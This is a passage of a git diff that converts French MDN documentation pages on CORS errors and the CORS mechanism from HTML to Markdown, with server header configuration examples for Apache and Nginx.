id="Quel_est_le_problème">Quel est le problème ?</h2> +## Quel est le problème ? -<p>La réponse à la requête {{Glossary("CORS")}} ne contient pas l'en-tête requis {{HTTPHeader("Access-Control-Allow-Origin")}}, dont la fonction est de déterminer si le domaine à l'origine de la requête est autorisé à accéder à cette ressource.</p> +La réponse à la requête {{Glossary("CORS")}} ne contient pas l'en-tête requis {{HTTPHeader("Access-Control-Allow-Origin")}}, dont la fonction est de déterminer si le domaine à l'origine de la requête est autorisé à accéder à cette ressource. -<p>Si vous avez le contrôle du serveur, vous pouvez ajouter l'origine de la requête à la liste des domaines autorisés à accéder aux ressources du serveur en l'ajoutant aux valeurs de l'en-tête <code>Access-Control-Allow-Origin</code>.</p> +Si vous avez le contrôle du serveur, vous pouvez ajouter l'origine de la requête à la liste des domaines autorisés à accéder aux ressources du serveur en l'ajoutant aux valeurs de l'en-tête `Access-Control-Allow-Origin`. -<p>Par exemple, pour autoriser le site https://amazing.site à accéder aux resources avec CORS, le header doit être comme suit :</p> +Par exemple, pour autoriser le site https\://amazing.site à accéder aux resources avec CORS, le header doit être comme suit : -<pre>Access-Control-Allow-Origin: https://amazing.site</pre> + Access-Control-Allow-Origin: https://amazing.site -<p>Vous pouvez aussi configurer le serveur pour autoriser tous les domaines à accéder aux ressources avec le caractère générique <code>*</code>. Ceci ne devrait être utilisé que pour des APIs publiques. Les APIs privées ne devraient jamais utiliser <code>*</code>, et devraient à la place utiliser un domaine ou un ensemble de domaines. De plus, l'astérisque ne fonctionne que pour les requêtes avec l'attribut {{htmlattrxref("crossorigin")}} ayant comme valeur <code>anonymous</code>.</p> +Vous pouvez aussi configurer le serveur pour autoriser tous les domaines à accéder aux ressources avec le caractère générique `*`. Ceci ne devrait être utilisé que pour des APIs publiques. Les APIs privées ne devraient jamais utiliser `*`, et devraient à la place utiliser un domaine ou un ensemble de domaines. De plus, l'astérisque ne fonctionne que pour les requêtes avec l'attribut {{htmlattrxref("crossorigin")}} ayant comme valeur `anonymous`. -<pre>Access-Control-Allow-Origin: *</pre> + Access-Control-Allow-Origin: * -<div class="warning"> -<p><strong>Attention :</strong> Autoriser n'importe quel site à accéder à une API privée est une mauvaise idée.</p> -</div> +> **Attention :** Autoriser n'importe quel site à accéder à une API privée est une mauvaise idée. -<p>Pour autoriser n'importe quel site à faire des requêtes CORS <em>sans</em> utiliser le caractère générique <code>*</code> (par exemple, pour fournir des authentifiants), votre serveur doit lire la valeur de l'entête <code>Origin</code> de la requête et l'utiliser dans <code>Access-Control-Allow-Origin</code>, tout en ajoutant une entête <code>Vary: Origin</code> pour indiquer que certaines entêtes sont définies dynamiquement selon leur origine.</p> +Pour autoriser n'importe quel site à faire des requêtes CORS _sans_ utiliser le caractère générique `*` (par exemple, pour fournir des authentifiants), votre serveur doit lire la valeur de l'entête `Origin` de la requête et l'utiliser dans `Access-Control-Allow-Origin`, tout en ajoutant une entête `Vary: Origin` pour indiquer que certaines entêtes sont définies dynamiquement selon leur origine. -<p>L'instruction exacte pour définir les entêtes dépend de votre serveur Web. Par exemple, avec Apache, ajouter (dans la section <code><Directory></code>, <code><Location></code>, <code><Files></code>, ou <code><VirtualHost></code> appropriée) la ligne ci-dessous au fichier de configuration. Le fichier de configuration est en général un <code>.conf</code> (<code>httpd.conf</code> et <code>apache.conf</code> sont les noms les plus communs) ou un fichier nommé <code>.htaccess</code>.</p> +L'instruction exacte pour définir les entêtes dépend de votre serveur Web. Par exemple, avec Apache, ajouter (dans la section `<Directory>`, `<Location>`, `<Files>`, ou `<VirtualHost>` appropriée) la ligne ci-dessous au fichier de configuration. Le fichier de configuration est en général un `.conf` (`httpd.conf` et `apache.conf` sont les noms les plus communs) ou un fichier nommé `.htaccess`. -<pre>Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre> + Header set Access-Control-Allow-Origin 'origin-list' -<p>Avec Nginx, la commande pour créer l'en-tête est :</p> +Avec Nginx, la commande pour créer l'en-tête est : -<pre>add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>'</pre> + add_header 'Access-Control-Allow-Origin' 'origin-list' +## Voir aussi - -<h2 id="Voir_aussi">Voir aussi</h2> - -<ul> - <li><a href="/fr/docs/Web/HTTP/CORS/Errors">Erreurs CORS</a></li> - <li>Glossaire: {{Glossary("CORS")}}</li> - <li><a href="/fr/docs/Web/HTTP/CORS">Introduction au CORS</a></li> -</ul> +- [Erreurs CORS](/fr/docs/Web/HTTP/CORS/Errors) +- Glossaire: {{Glossary("CORS")}} +- [Introduction au CORS](/fr/docs/Web/HTTP/CORS) diff --git a/files/fr/web/http/cors/errors/corsrequestnothttp/index.md b/files/fr/web/http/cors/errors/corsrequestnothttp/index.md index 640ac4c7b4..7ad0885f78 100644 --- a/files/fr/web/http/cors/errors/corsrequestnothttp/index.md +++ b/files/fr/web/http/cors/errors/corsrequestnothttp/index.md @@ -15,29 +15,27 @@ tags: - console translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<h2 id="Raison">Raison</h2> +## Raison -<pre class="syntaxbox">Raison : la requête CORS n’utilise pas http.</pre> + Raison : la requête CORS n’utilise pas http. -<h2 id="Quest_ce_qui_na_pas_fonctionné">Qu'est ce qui n'a pas fonctionné ?</h2> +## Qu'est ce qui n'a pas fonctionné ? -<p>Les requêtes {{Glossary("CORS")}} ne peuvent utiliser que les URL HTTPS, mais l'URL spécifiée par la requête est d'un type différent. Cela se produit souvent si l'URL spécifie un fichier local, en utilisant un URL de la forme <code>file:///</code>.</p> +Les requêtes {{Glossary("CORS")}} ne peuvent utiliser que les URL HTTPS, mais l'URL spécifiée par la requête est d'un type différent. Cela se produit souvent si l'URL spécifie un fichier local, en utilisant un URL de la forme `file:///`. -<p>Pour résoudre ce problème, assurez-vous simplement d'utiliser les URL HTTPS lorsque vous émettez des requêtes impliquant CORS , comme {{domxref("XMLHttpRequest")}}, <a href="/fr/docs/Web/API/Fetch_API">Fetch</a> APIs, Web Fonts (<code>@font-face</code>), <a href="/fr/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL textures</a>, et des stylesheets XSL.</p> +Pour résoudre ce problème, assurez-vous simplement d'utiliser les URL HTTPS lorsque vous émettez des requêtes impliquant CORS , comme {{domxref("XMLHttpRequest")}}, [Fetch](/fr/docs/Web/API/Fetch_API) APIs, Web Fonts (`@font-face`), [WebGL textures](/fr/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL), et des stylesheets XSL. -<h3 id="Sécurité_des_fichiers_locaux_dans_Firefox_68">Sécurité des fichiers locaux dans Firefox 68</h3> +### Sécurité des fichiers locaux dans Firefox 68 -<p>Lorsqu'un utilisateur ouvrait une page en utilisant un URI <code>file:///</code> dans Firefox 67 et antérieur, l'origine de la page était définie comme le répertoire à partir duquel la page était ouverte. Les ressources du même répertoire et de ses sous-répertoires étaient traitées comme ayant la même origine aux fins de la règle de la même origine de la CORS.</p> +Lorsqu'un utilisateur ouvrait une page en utilisant un URI `file:///` dans Firefox 67 et antérieur, l'origine de la page était définie comme le répertoire à partir duquel la page était ouverte. Les ressources du même répertoire et de ses sous-répertoires étaient traitées comme ayant la même origine aux fins de la règle de la même origine de la CORS. -<p>En réponse au <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2019-21/#CVE-2019-11730">CVE-2019-11730</a>, Firefox 68 et les versions ultérieures définissent l'origine d'une page ouverte à l'aide d'un URI <code>file:///</code> comme unique. Par conséquent, les autres ressources du même répertoire ou de ses sous-répertoires ne satisfont plus à la règle de la même origine de la COROS. Ce nouveau comportement est activé par défaut en utilisant la préférence <code>privacy.file_unique_origin</code>.</p> +En réponse au [CVE-2019-11730](https://www.mozilla.org/en-US/security/advisories/mfsa2019-21/#CVE-2019-11730), Firefox 68 et les versions ultérieures définissent l'origine d'une page ouverte à l'aide d'un URI `file:///` comme unique. Par conséquent, les autres ressources du même répertoire ou de ses sous-répertoires ne satisfont plus à la règle de la même origine de la COROS. Ce nouveau comportement est activé par défaut en utilisant la préférence `privacy.file_unique_origin`. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/HTTP/CORS/Errors">Erreurs liées à CORS</a></li> - <li>Glossaire: {{Glossary("CORS")}}</li> - <li><a href="/fr/docs/Web/HTTP/CORS">Introduction à CORS</a></li> - <li><a href="/fr/docs/Learn/Common_questions/What_is_a_URL">C'est quoi une URL?</a></li> -</ul> +- [Erreurs liées à CORS](/fr/docs/Web/HTTP/CORS/Errors) +- Glossaire: {{Glossary("CORS")}} +- [Introduction à CORS](/fr/docs/Web/HTTP/CORS) +- [C'est quoi une URL?](/fr/docs/Learn/Common_questions/What_is_a_URL) diff --git a/files/fr/web/http/cors/errors/index.md b/files/fr/web/http/cors/errors/index.md index 17fa5f8e9b..e9defcfb12 100644 --- a/files/fr/web/http/cors/errors/index.md +++ b/files/fr/web/http/cors/errors/index.md @@ -14,66 +14,56 @@ tags: - troubleshooting translation_of: Web/HTTP/CORS/Errors --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> ({{Glossary("CORS")}}) </span>est une norme qui permet à un serveur d'assouplir la <a href="/en-US/docs/Web/Security/Same-origin_policy">politique de même origine</a>.</p> +[Cross-Origin Resource Sharing](/en-US/docs/Web/HTTP/CORS) ({{Glossary("CORS")}}) est une norme qui permet à un serveur d'assouplir la [politique de même origine](/en-US/docs/Web/Security/Same-origin_policy). -<p>Celle-ci est utilisée pour autoriser explicitement certaines requêtes provenant d'autres sources tout en en rejetant d'autres. Par exemple, si un site offre un service intégrable, il peut être nécessaire d'assouplir certaines restrictions. La configuration d'une telle configuration CORS n'est pas nécessairement facile et peut présenter certains défis. Dans ces pages, nous examinerons quelques messages d'erreur CORS courants et comment les résoudre.</p> +Celle-ci est utilisée pour autoriser explicitement certaines requêtes provenant d'autres sources tout en en rejetant d'autres. Par exemple, si un site offre un service intégrable, il peut être nécessaire d'assouplir certaines restrictions. La configuration d'une telle configuration CORS n'est pas nécessairement facile et peut présenter certains défis. Dans ces pages, nous examinerons quelques messages d'erreur CORS courants et comment les résoudre. +Si la configuration CORS n'est pas correctement effectuée, la console du navigateur affichera une erreur du type `"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"` (`"Requête Cross-Origin bloquée : La politique de même origine interdit la lecture de la ressource distante à $somesite"` en français) indiquant que la demande a été bloquée en raison d'une violation des règles de sécurité de CORS. Cependant, ce n'est pas nécessairement une erreur de configuration. Il est possible que la demande soit en fait intentionnellement refusée par l'application web de l'utilisateur et le service externe distant. Toutefois, si le terminal est destiné à être disponible, un certain débogage est nécessaire pour y parvenir. +## Identifier le problème -<p>Si la configuration CORS n'est pas correctement effectuée, la console du navigateur affichera une erreur du type <code>"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"</code> (<code>"Requête Cross-Origin bloquée : La politique de même origine interdit la lecture de la ressource distante à $somesite"</code> en français) indiquant que la demande a été bloquée en raison d'une violation des règles de sécurité de CORS. Cependant, ce n'est pas nécessairement une erreur de configuration. Il est possible que la demande soit en fait intentionnellement refusée par l'application web de l'utilisateur et le service externe distant. Toutefois, si le terminal est destiné à être disponible, un certain débogage est nécessaire pour y parvenir.</p> +Pour saisir la cause de l'erreur, il faut préalablement découvrir la requête fautive, ainsi que la configuration erronée. Ces étapes peuvent être utiles au processus: -<h2 id="Identifier_le_problème">Identifier le problème</h2> +1. Rendez-vous sur le site défaillant et ouvrez les [Developer Tools](/en-US/docs/Tools). +2. Essayez de reproduir la requête qui échoue et vérifiez la [console](/en-US/docs/Tools/Web_Console) pour trouver les messages de violation CORS, ce qui tournerait autours de: -<p>Pour saisir la cause de l'erreur, il faut préalablement découvrir la requête fautive, ainsi que la configuration erronée. Ces étapes peuvent être utiles au processus:</p> +![Firefox console showing CORS error](cors-error2.png) -<ol> - <li>Rendez-vous sur le site défaillant et ouvrez les <a href="/en-US/docs/Tools">Developer Tools</a>.</li> - <li>Essayez de reproduir la requête qui échoue et vérifiez la <a href="/en-US/docs/Tools/Web_Console">console</a> pour trouver les messages de violation CORS, ce qui tournerait autours de:</li> -</ol> +Le text de l'erreur sera probablement similaire à: -<p><img alt="Firefox console showing CORS error" src="cors-error2.png"></p> + Cross-Origin Request Blocked: The Same Origin Policy disallows + reading the remote resource at https://some-url-here. (Reason: + additional information here). -<p>Le text de l'erreur sera probablement similaire à:</p> +> **Note :** Pour des raisons de sécurité, il _est impossible_ d'analyser les causes de l'erreur CORS via JavaScript. Seule une indication de l'échec de la requête sera fournie. Il faut donc absolument regarder manuellement les messages d'erreur de la console pour débugger. -<pre>Cross-Origin Request Blocked: The Same Origin Policy disallows -reading the remote resource at <em>https://some-url-here</em>. (<em>Reason: -additional information here</em>).</pre> +## Messages d'erreur CORS -<div class="note"> -<p><strong>Note :</strong> Pour des raisons de sécurité, il <em>est impossible</em> d'analyser les causes de l'erreur CORS via JavaScript. Seule une indication de l'échec de la requête sera fournie. Il faut donc absolument regarder manuellement les messages d'erreur de la console pour débugger.</p> -</div> +Firefox affiche les erreurs dans la console lors d'échec de requête CORS. Ce message contient entre autres un champ "reason" donnant un meilleur contexte quant à la raison de l'échec de la requête. Ces messages sont listés ci-dessous; chacun de ces liens pointent vers un article plus spécifique et contenant des pistes de solution. -<h2 id="Messages_derreur_CORS">Messages d'erreur CORS</h2> +- [Raison: CORS désactivé](/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled) +- [Raison: la requête CORS a échoué](/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed) +- [Raison: l'en-tête CORS ‘Origin’ ne peut pas être ajouté](/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded) +- [Raison: Requête CORS redirection externe non autorisée](/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed) +- [Raison: Requête CORS non http](/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp) +- [Raison: En-tête CORS ‘Access-Control-Allow-Origin’ manquant](/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin) +- [Raison: l'en-tête CORS ‘Access-Control-Allow-Origin’ ne correspond pas à ‘xyz’](/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin) +- [Raison: les informations d'identification ne sont pas prises en charge si l'en-tête CORS ‘Access-Control-Allow-Origin’ est ‘\*’](/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials) +- [Raison: Méthode introuvable dans l'en-tête CORS 'Access-Control-Allow-Methods’](/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound) +- [Raison: ‘true’ attendu dans l'en-tête CORS ‘Access-Control-Allow-Credentials’](/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials) +- [Raison: Échec du canal de contrôle en amont CORS](/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed) +- [Raison: jeton ‘xyz’ non valide dans l'en-tête CORS ‘Access-Control-Allow-Methods’](/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod) +- [Raison: jeton ‘xyz’ non valide dans l'en-tête CORS ‘Access-Control-Allow-Headers’](/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader) +- [Raison: jeton ‘xyz’ manquant dans l'en-tête CORS ‘Access-Control-Allow-Headers’ du canal de contrôle en amont CORS](/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight) +- [Raison: plusieurs en-têtes CORS ‘Access-Control-Allow-Origin’ ne sont pas autorisés](/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed) -<p>Firefox affiche les erreurs dans la console lors d'échec de requête CORS. Ce message contient entre autres un champ "reason" donnant un meilleur contexte quant à la raison de l'échec de la requête. Ces messages sont listés ci-dessous; chacun de ces liens pointent vers un article plus spécifique et contenant des pistes de solution.</p> +## Voir aussi -<ul> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled">Raison: CORS désactivé</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed">Raison: la requête CORS a échoué</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded">Raison: l'en-tête CORS ‘Origin’ ne peut pas être ajouté</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed">Raison: Requête CORS redirection externe non autorisée</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp">Raison: Requête CORS non http</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin">Raison: En-tête CORS ‘Access-Control-Allow-Origin’ manquant</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin">Raison: l'en-tête CORS ‘Access-Control-Allow-Origin’ ne correspond pas à ‘xyz’</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">Raison: les informations d'identification ne sont pas prises en charge si l'en-tête CORS ‘Access-Control-Allow-Origin’ est ‘*’</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound">Raison: Méthode introuvable dans l'en-tête CORS 'Access-Control-Allow-Methods’</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials">Raison: ‘true’ attendu dans l'en-tête CORS ‘Access-Control-Allow-Credentials’</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed">Raison: Échec du canal de contrôle en amont CORS</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Raison: jeton ‘xyz’ non valide dans l'en-tête CORS ‘Access-Control-Allow-Methods’</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader">Raison: jeton ‘xyz’ non valide dans l'en-tête CORS ‘Access-Control-Allow-Headers’</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight">Raison: jeton ‘xyz’ manquant dans l'en-tête CORS ‘Access-Control-Allow-Headers’ du canal de contrôle en amont CORS</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed">Raison: plusieurs en-têtes CORS ‘Access-Control-Allow-Origin’ ne sont pas autorisés</a></li> -</ul> - -<h2 id="Voir_aussi">Voir aussi</h2> - -<ul> - <li>Glossaire: {{Glossary("CORS")}}</li> - <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li> - <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Paramètres CORS côté serveur</a></li> - <li><a href="/en-US/docs/Web/HTML/CORS_enabled_image">Image compatible CORS</a></li> - <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">Attributs des paramètres CORS</a></li> - <li><a href="https://www.test-cors.org">https://www.test-cors.org</a> – une page pour tester les requêtes CORS</li> -</ul> +- Glossaire: {{Glossary("CORS")}} +- [CORS introduction](/en-US/docs/Web/HTTP/CORS) +- [Paramètres CORS côté serveur](/en-US/docs/Web/HTTP/Server-Side_Access_Control) +- [Image compatible CORS](/en-US/docs/Web/HTML/CORS_enabled_image) +- [Attributs des paramètres CORS](/en-US/docs/Web/HTML/CORS_settings_attributes) +- <https://www.test-cors.org> – une page pour tester les requêtes CORS diff --git a/files/fr/web/http/cors/index.md b/files/fr/web/http/cors/index.md index 24d38600ac..ea22f274d4 100644 --- a/files/fr/web/http/cors/index.md +++ b/files/fr/web/http/cors/index.md @@ -10,95 +10,85 @@ tags: - cross-site translation_of: Web/HTTP/CORS --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le « <em>Cross-origin resource sharing</em> » (CORS) ou « partage des ressources entre origines multiples » (en français, moins usité) est un mécanisme qui consiste à ajouter des en-têtes HTTP afin de permettre à un agent utilisateur d'accéder à des ressources d'un serveur situé sur une autre origine que le site courant. Un agent utilisateur réalise une requête HTTP <strong>multi-origine (<em>cross-origin</em>)</strong> lorsqu'il demande une ressource provenant d'un domaine, d'un protocole ou d'un port différent de ceux utilisés pour la page courante.</p> +Le « _Cross-origin resource sharing_ » (CORS) ou « partage des ressources entre origines multiples » (en français, moins usité) est un mécanisme qui consiste à ajouter des en-têtes HTTP afin de permettre à un agent utilisateur d'accéder à des ressources d'un serveur situé sur une autre origine que le site courant. Un agent utilisateur réalise une requête HTTP **multi-origine (_cross-origin_)** lorsqu'il demande une ressource provenant d'un domaine, d'un protocole ou d'un port différent de ceux utilisés pour la page courante. -<p>Prenons un exemple de requête multi-origine : une page HTML est servie depuis <code>http://domaine-a.com</code> contient un élément <code><a href="/fr/docs/Web/HTML/Element/Img#attr-src"><img> src</a></code> ciblant <code>http://domaine-b.com/image.jpg</code>. Aujourd'hui, de nombreuses pages web chargent leurs ressources (feuilles CSS, images, scripts) à partir de domaines séparés (par exemple des CDN (<em>Content Delivery Network</em> en anglais ou « Réseau de diffusion de contenu »).</p> +Prenons un exemple de requête multi-origine : une page HTML est servie depuis `http://domaine-a.com` contient un élément [`<img> src`](/fr/docs/Web/HTML/Element/Img#attr-src) ciblant `http://domaine-b.com/image.jpg`. Aujourd'hui, de nombreuses pages web chargent leurs ressources (feuilles CSS, images, scripts) à partir de domaines séparés (par exemple des CDN (_Content Delivery Network_ en anglais ou « Réseau de diffusion de contenu »). -<p>Pour des raisons de sécurité, les requêtes HTTP multi-origine émises depuis les scripts sont restreintes. Ainsi, {{domxref("XMLHttpRequest")}} et l'<a href="/en-US/docs/Web/API/Fetch_API">API Fetch</a> respectent la règle <a href="/en-US/docs/Web/Security/Same-origin_policy">d'origine unique</a>. Cela signifie qu'une application web qui utilise ces API peut uniquement émettre des requêtes vers la même origine que celle à partir de laquelle l'application a été chargée, sauf si des en-têtes CORS sont utilisés.</p> +Pour des raisons de sécurité, les requêtes HTTP multi-origine émises depuis les scripts sont restreintes. Ainsi, {{domxref("XMLHttpRequest")}} et l'[API Fetch](/en-US/docs/Web/API/Fetch_API) respectent la règle [d'origine unique](/en-US/docs/Web/Security/Same-origin_policy). Cela signifie qu'une application web qui utilise ces API peut uniquement émettre des requêtes vers la même origine que celle à partir de laquelle l'application a été chargée, sauf si des en-têtes CORS sont utilisés. -<p><img alt="" src="cors_principle.png"></p> +![](cors_principle.png) -<p>Le CORS permet de prendre en charge des requêtes multi-origines sécurisées et des transferts de données entre des navigateurs et des serveurs web. Les navigateurs récents utilisent le CORS dans une API contenante comme {{domxref("XMLHttpRequest")}} ou <code><a href="/fr/docs/Web/API/Fetch_API">Fetch</a></code> pour aider à réduire les risques de requêtes HTTP multi-origines.</p> +Le CORS permet de prendre en charge des requêtes multi-origines sécurisées et des transferts de données entre des navigateurs et des serveurs web. Les navigateurs récents utilisent le CORS dans une API contenante comme {{domxref("XMLHttpRequest")}} ou [`Fetch`](/fr/docs/Web/API/Fetch_API) pour aider à réduire les risques de requêtes HTTP multi-origines. -<h2 id="À_qui_est_destiné_cet_article">À qui est destiné cet article ?</h2> +## À qui est destiné cet article ? -<p>Cet article est destiné à toutes et à tous.</p> +Cet article est destiné à toutes et à tous. -<p>Il pourra notamment servir aux administrateurs web, aux développeurs côté serveur ainsi qu'aux développeurs côté client. Les navigateurs récents permettent de gérer les règles de partage multi-origine côté client grâce à certaines règles et en-têtes mais cela implique également que des serveurs puissent gérer ces requêtes et réponses. Aussi, pour compléter le spectre concerné, nous vous invitons à lire d'autres articles complétant le point de vue « serveur » (par exemple <a href="/fr/docs/Web/HTTP/Server-Side_Access_Control">cet article utilisant des fragments de code PHP</a>).</p> +Il pourra notamment servir aux administrateurs web, aux développeurs côté serveur ainsi qu'aux développeurs côté client. Les navigateurs récents permettent de gérer les règles de partage multi-origine côté client grâce à certaines règles et en-têtes mais cela implique également que des serveurs puissent gérer ces requêtes et réponses. Aussi, pour compléter le spectre concerné, nous vous invitons à lire d'autres articles complétant le point de vue « serveur » (par exemple [cet article utilisant des fragments de code PHP](/fr/docs/Web/HTTP/Server-Side_Access_Control)). -<h2 id="Quelles_requêtes_utilisent_le_CORS">Quelles requêtes utilisent le CORS ?</h2> +## Quelles requêtes utilisent le CORS ? -<p>Le <a class="external" href="https://fetch.spec.whatwg.org/#http-cors-protocol">standard CORS</a> est utilisé afin de permettre les requêtes multi-origines pour :</p> +Le [standard CORS](https://fetch.spec.whatwg.org/#http-cors-protocol) est utilisé afin de permettre les requêtes multi-origines pour : -<ul> - <li>L'utilisation des API {{domxref("XMLHttpRequest")}} ou <a href="/fr/docs/Web/API/Fetch_API">Fetch</a></li> - <li>Les polices web (pour récupérer des polices provenant d'autres origines lorsqu'on utilise {{cssxref("@font-face")}} en CSS), <a class="external" href="https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements">afin que les serveurs puissent déployer des polices TrueType uniquement chargées en <em>cross-site</em> et utilisées par les sites web qui l'autorisent</a></li> - <li><a href="/fr/docs/Web/API/WebGL_API/Tutorial/Utiliser_les_textures_avec_WebGL">Les textures WebGL</a></li> - <li>Les <em>frames</em> (images ou vidéo) dessinées sur un canevas avec <code><a href="/fr/docs/Web/API/CanvasRenderingContext2D/drawImage">drawImage</a></code></li> - <li>Les feuilles de style (pour les accès <a href="/fr/docs/Web/CSS/CSSOM_View">CSSOM</a>)</li> - <li>Les scripts (pour les exceptions non silencieuses (<em>unmuted exceptions</em>)).</li> -</ul> +- L'utilisation des API {{domxref("XMLHttpRequest")}} ou [Fetch](/fr/docs/Web/API/Fetch_API) +- Les polices web (pour récupérer des polices provenant d'autres origines lorsqu'on utilise {{cssxref("@font-face")}} en CSS), [afin que les serveurs puissent déployer des polices TrueType uniquement chargées en _cross-site_ et utilisées par les sites web qui l'autorisent](https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements) +- [Les textures WebGL](/fr/docs/Web/API/WebGL_API/Tutorial/Utiliser_les_textures_avec_WebGL) +- Les _frames_ (images ou vidéo) dessinées sur un canevas avec [`drawImage`](/fr/docs/Web/API/CanvasRenderingContext2D/drawImage) +- Les feuilles de style (pour les accès [CSSOM](/fr/docs/Web/CSS/CSSOM_View)) +- Les scripts (pour les exceptions non silencieuses (_unmuted exceptions_)). -<p>Cet article propose un aperçu général de <em>Cross-Origin Resource Sharing</em> ainsi qu'un aperçu des en-têtes HTTP nécessaires.</p> +Cet article propose un aperçu général de _Cross-Origin Resource Sharing_ ainsi qu'un aperçu des en-têtes HTTP nécessaires. -<h2 id="Aperçu_fonctionnel">Aperçu fonctionnel</h2> +## Aperçu fonctionnel -<p>Le standard CORS fonctionne grâce à l'ajout de nouveaux <a href="/fr/docs/Web/HTTP/Headers">en-têtes HTTP</a> qui permettent aux serveurs de décrire un ensemble d'origines autorisées pour lire l'information depuis un navigateur web. De plus, pour les méthodes de requêtes HTTP qui entraînent des effets de bord sur les données côté serveur (notamment pour les méthodes en dehors de {{HTTPMethod("GET")}} ou pour les méthodes {{HTTPMethod("POST")}} utilisées avec certains <a href="/fr/docs/Web/HTTP/Basics_of_HTTP/MIME_types">types MIME</a>), la spécification indique que les navigateurs doivent effectuer une requête préliminaire (« <em>preflight request</em> ») et demander au serveur les méthodes prises en charges via une requête utilisant la méthode {{HTTPMethod("OPTIONS")}} puis, après approbation du serveur, envoyer la vraie requête. Les serveurs peuvent également indiquer aux clients s'il est nécessaire de fournir des informations d'authentification (que ce soit des <a href="/fr/docs/Web/HTTP/Cookies">cookies</a> ou des données d'authentification HTTP) avec les requêtes.</p> +Le standard CORS fonctionne grâce à l'ajout de nouveaux [en-têtes HTTP](/fr/docs/Web/HTTP/Headers) qui permettent aux serveurs de décrire un ensemble d'origines autorisées pour lire l'information depuis un navigateur web. De plus, pour les méthodes de requêtes HTTP qui entraînent des effets de bord sur les données côté serveur (notamment pour les méthodes en dehors de {{HTTPMethod("GET")}} ou pour les méthodes {{HTTPMethod("POST")}} utilisées avec certains [types MIME](/fr/docs/Web/HTTP/Basics_of_HTTP/MIME_types)), la spécification indique que les navigateurs doivent effectuer une requête préliminaire (« _preflight request_ ») et demander au serveur les méthodes prises en charges via une requête utilisant la méthode {{HTTPMethod("OPTIONS")}} puis, après approbation du serveur, envoyer la vraie requête. Les serveurs peuvent également indiquer aux clients s'il est nécessaire de fournir des informations d'authentification (que ce soit des [cookies](/fr/docs/Web/HTTP/Cookies) ou des données d'authentification HTTP) avec les requêtes. -<p>Les sections qui suivent évoquent les différents scénarios relatifs au CORS ainsi qu'un aperçu des en-têtes HTTP utilisés.</p> +Les sections qui suivent évoquent les différents scénarios relatifs au CORS ainsi qu'un aperçu des en-têtes HTTP utilisés. -<h2 id="Exemples_de_scénarios_pour_le_contrôle_daccès">Exemples de scénarios pour le contrôle d'accès</h2> +## Exemples de scénarios pour le contrôle d'accès -<p>Voyons ici trois scénarios qui illustrent le fonctionnement du CORS. Tous ces exemples utilisent l'objet {{domxref("XMLHttpRequest")}} qui peut être utilisé afin de faire des requêtes entre différents sites (dans les navigateurs qui prennent en charge cette fonctionnalité).</p> +Voyons ici trois scénarios qui illustrent le fonctionnement du CORS. Tous ces exemples utilisent l'objet {{domxref("XMLHttpRequest")}} qui peut être utilisé afin de faire des requêtes entre différents sites (dans les navigateurs qui prennent en charge cette fonctionnalité). -<p>Les fragments de code JavaScript (ainsi que les instances serveurs qui gèrent ces requêtes) se trouvent sur <a class="external" 